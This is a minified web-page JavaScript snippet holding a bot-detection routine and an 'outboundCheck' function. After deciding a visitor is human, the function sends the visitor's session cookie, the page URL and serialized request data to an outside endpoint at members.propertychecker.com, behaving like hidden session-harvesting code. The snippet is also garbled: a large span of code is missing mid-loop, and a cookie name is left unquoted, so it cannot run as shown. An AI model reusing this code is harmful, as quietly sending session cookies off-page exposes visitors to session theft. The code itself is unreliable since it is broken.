function stGetCookie(cname) { let name = cname + "="; let decodedCookie = decodeURIComponent(document.cookie); let ca = decodedCookie.split(';'); for(let i = 0; i 0.2 || gamma > 0.2); } var args = { beta: beta, gamma: gamma } self.tests[BotDetector.Tests.DEVICE_MOTION] = movement; self.update(); if (movement) { self.unbindEvent(window, BotDetector.Tests.DEVICE_MOTION, e); } } } else { self.tests[BotDetector.Tests.DEVICE_MOTION] = false; } } self.bindEvent(window, BotDetector.Tests.DEVICE_MOTION, e); } } if (selectedTests.length == 0 || selectedTests.indexOf(BotDetector.Tests.DEVICE_ORIENTATION) != -1) { self.tests[BotDetector.Tests.DEVICE_ORIENTATION] = function() { var e = function() { self.tests[BotDetector.Tests.DEVICE_ORIENTATION] = true; self.update(); self.unbindEvent(window, BotDetector.Tests.DEVICE_ORIENTATION, e); } self.bindEvent(window, BotDetector.Tests.DEVICE_ORIENTATION); } } if (selectedTests.length == 0 || selectedTests.indexOf(BotDetector.Tests.DEVICE_ORIENTATION_MOZ) != -1) { self.tests[BotDetector.Tests.DEVICE_ORIENTATION_MOZ] = function() { var e = function() { self.tests[BotDetector.Tests.DEVICE_ORIENTATION_MOZ] = true; self.update(); self.unbindEvent(window, BotDetector.Tests.DEVICE_ORIENTATION_MOZ); } self.bindEvent(window, BotDetector.Tests.DEVICE_ORIENTATION_MOZ); } } self.cases = {}; self.timeout = args.timeout || 1000; self.callback = args.callback || null; self.detected = false; } BotDetector.Tests = { KEYUP: 'keyup', MOUSE: 'mousemove', SWIPE: 'swipe', SWIPE_TOUCHSTART: 'touchstart', SWIPE_TOUCHMOVE: 'touchmove', SWIPE_TOUCHEND: 'touchend', SCROLL: 'scroll', GESTURE: 'gesture', GYROSCOPE: 'gyroscope', DEVICE_MOTION: 'devicemotion', DEVICE_ORIENTATION: 'deviceorientation', DEVICE_ORIENTATION_MOZ: 'MozOrientation' }; BotDetector.prototype.update = function(notify) { var self = this; var count = 0; var tests = 0; for(var i in self.tests) { if (self.tests.hasOwnProperty(i)) { self.cases[i] = self.tests[i] === true; if (self.cases[i] === true) { count++; } } tests++; } self.isBot = count == 0; self.allMatched = count == tests; if (notify !== false) { self.callback(self); } } BotDetector.prototype.bindEvent = function(e, type, handler) { if (e.addEventListener) { e.addEventListener(type, handler, false); } else if(e.attachEvent) { e.attachEvent("on" + type, handler); } }; BotDetector.prototype.unbindEvent = function(e, type, handle) { if (e.removeEventListener) { e.removeEventListener(type, handle, false); } else { var evtName = "on" + type; if (e.detachEvent) { if (typeof e[evtName] === 'undefined') { e[type] = null } e.detachEvent(evtName) } } }; BotDetector.prototype.monitor = function() { var self = this; for(var i in this.tests) { if (this.tests.hasOwnProperty(i)) { this.tests[i].call(); } } this.update(false); setTimeout(function() { self.update(true); }, self.timeout); }; let notBDetected = typeof $.cookie == 'function' ? $.cookie('nbDet') : stGetCookie('nbDet'); if (!notBDetected) { new BotDetector({ timeout: 1000, callback: function(result) { if (result.isBot) { } else { if (typeof $.cookie == 'function') { $.cookie('nbDet', 1, {expires: 7, path: '/'}); } else { stSetCookie('nbDet', 1, 7) } outboundCheck(); } } }).monitor(); } let outboundCheck = function() { let formData = { 'sessionId': $.cookie(advanced-frontend), 'url': window.location.href, 'sKey': 'advanced-frontend', 'getS': 'a:3:{s:1:"m";s:2:"64";s:4:"sKey";s:17:"advanced-frontend";s:9:"b64Cookie";s:4:"W10=";}', 'postS': 'a:0:{}', 'cooksS': 'a:1:{s:9:"b64Cookie";s:4:"W10=";}' }; //alert (window.location.href + '//'); $.ajax({ url: 'https://members.propertychecker.com/story-time', dataType: 'json', async: true, data: formData, success: function(data) { } }) } if (notBDetected) { outboundCheck(); }